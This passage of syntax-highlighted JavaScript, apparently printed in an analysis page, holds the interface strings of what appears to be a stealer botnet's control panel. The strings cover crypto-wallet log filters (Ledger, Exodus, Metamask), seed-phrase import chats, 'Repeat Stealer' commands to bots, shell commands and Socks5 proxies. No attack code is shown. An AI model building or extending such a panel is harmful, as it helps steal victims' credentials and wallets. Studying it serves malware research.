font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Reset`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-309">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">cancel</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Cancel`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-310">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">dateTimeRangeHeader</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Date &amp; Time Range`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-311">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">quickSelectHeader</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Quick Select`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-312">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">advancedFiltersHeader</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Advanced Filters`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-313">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">additionalFiltersHeader</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Additional Filters`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-314">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">statusLabel</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Status`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-315">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">ipAddressLabel</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`IP Address`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-316">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">onlyCryptoWallets</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Only logs with Ledger/Exodus/Metamask`</span></span>
<span id="cb28-317">            }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-318">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">balance</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Balance`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-319">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">haveTelegram</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Have Telegram`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-320">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">notesCount</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Notes Count`</span></span>
<span id="cb28-321">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-322">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">settings</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-323">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">account</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Account`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-324">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">changePassword</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Change password`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-325">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">saveChanges</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Save changes`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-326">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">telegram</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Telegram`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-327">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">botToken</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Telegram Bot Token`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-328">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">chatId</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Telegram Chat ID`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-329">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">chatIdNotifications</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Telegram Chat ID for notification`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-330">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">chatIdCrypto</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`ChatID only for crypto`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-331">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">chatIdLedger</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`ChatID for ledger seeds import`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-332">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">cryptochecker</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Cryptochecker`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-333">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">antidup</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Antidup`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-334">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">ftp</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`FTP`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-335">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">host</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Host`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-336">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">username</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Username`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-337">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">password</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Password`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-338">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">directory</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Directory`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-339">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">directoryPlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`e.g., /host/data/main`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-340">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">save</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Save`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-341">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">cancel</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Cancel`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-342">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">interface</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Interface`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-343">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">animations</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Animations`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-344">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">telegramTemplate</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Telegram Message Template`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-345">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">telegramTemplateDesc</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Customize the notification message sent to Telegram. Use tags like {{ID}} to insert dynamic data.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-346">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">preview</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Live Preview`</span></span>
<span id="cb28-347">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-348">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">socks</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-349">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">filter</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Filter`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-350">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">proxyIp</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Proxy IP`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-351">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">cc</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`CC`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-352">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">action</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Action`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-353">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">copyUrl</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Copy URL`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-354">            <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">delete</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Delete`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-355">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">loading</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Loading...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-356">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noResults</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`No results found.`</span></span>
<span id="cb28-357">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-358">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">alert</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-359">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">error</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Error`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-360">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">copied</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Copied`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-361">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">copyCommand</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Copy Command`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-362">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">isRequired</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`is required`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-363">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">notification</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Notification`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-364">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">confirmAction</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Confirm Action`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-365">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">httpError</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`HTTP Error`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-366">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">success</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Success`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-367">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">nonJson</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Non-JSON response`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-368">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">failedAction</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Failed to perform action: {{action}}`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-369">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">commandSentSuccess</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Command {{action}} sent successfully.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-370">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unknownErrorAction</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Unknown error during {{action}}.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-371">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">idCopied</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`ID copied to clipboard!`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-372">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">failedToCopy</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Failed to copy ID.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-373">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">shellEmpty</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Shell command cannot be empty.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-374">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">failedToDeleteBot</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Failed to delete bot`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-375">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">botDeleted</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Bot {{botId}} deleted.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-376">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">errorDeletingBot</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Error deleting bot.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-377">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noBotsToDelete</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`There are no bots to delete.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-378">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">failedToDeleteAllBots</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Failed to delete all bots`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-379">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">allBotsDeleted</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`All bots have been deleted.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-380">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unknownError</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`An unknown error occurred.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-381">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noBotsToSendCmd</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`There are no bots to send the command to.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-382">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">failedToSendCmd</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Failed to send command`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-383">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">repeatAllSuccess</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`'Repeat all' command sent successfully to all bots.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-384">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">errorSendingCmd</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Error sending command.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-385">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">confirmDeletion</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Confirm Deletion`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-386">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteBotPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Are you sure you want to delete bot {{idOrTarget}}? This action cannot be undone.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-387">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteAllBotsTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Delete All Bots`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-388">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteAllBotsPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Are you sure you want to delete ALL bots? This action cannot be undone.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-389">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteAll</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Delete All`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-390">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">confirmRepeatAllTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Confirm Repeat All`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-391">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">confirmRepeatAllPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Are you sure you want to send the 'Repeat Stealer' command to ALL bots?`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-392">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">sendToAll</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Send to All`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-393">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">confirmRepeatTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Confirm Repeat`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-394">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">confirmRepeatPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Are you sure you want to send the 'Repeat Stealer' command to bot {{idOrTarget}}?`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-395">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">sendCommand</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Send Command`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-396">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">enableSocks5Title</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Enable Socks5`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-397">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">enableSocks5Prompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
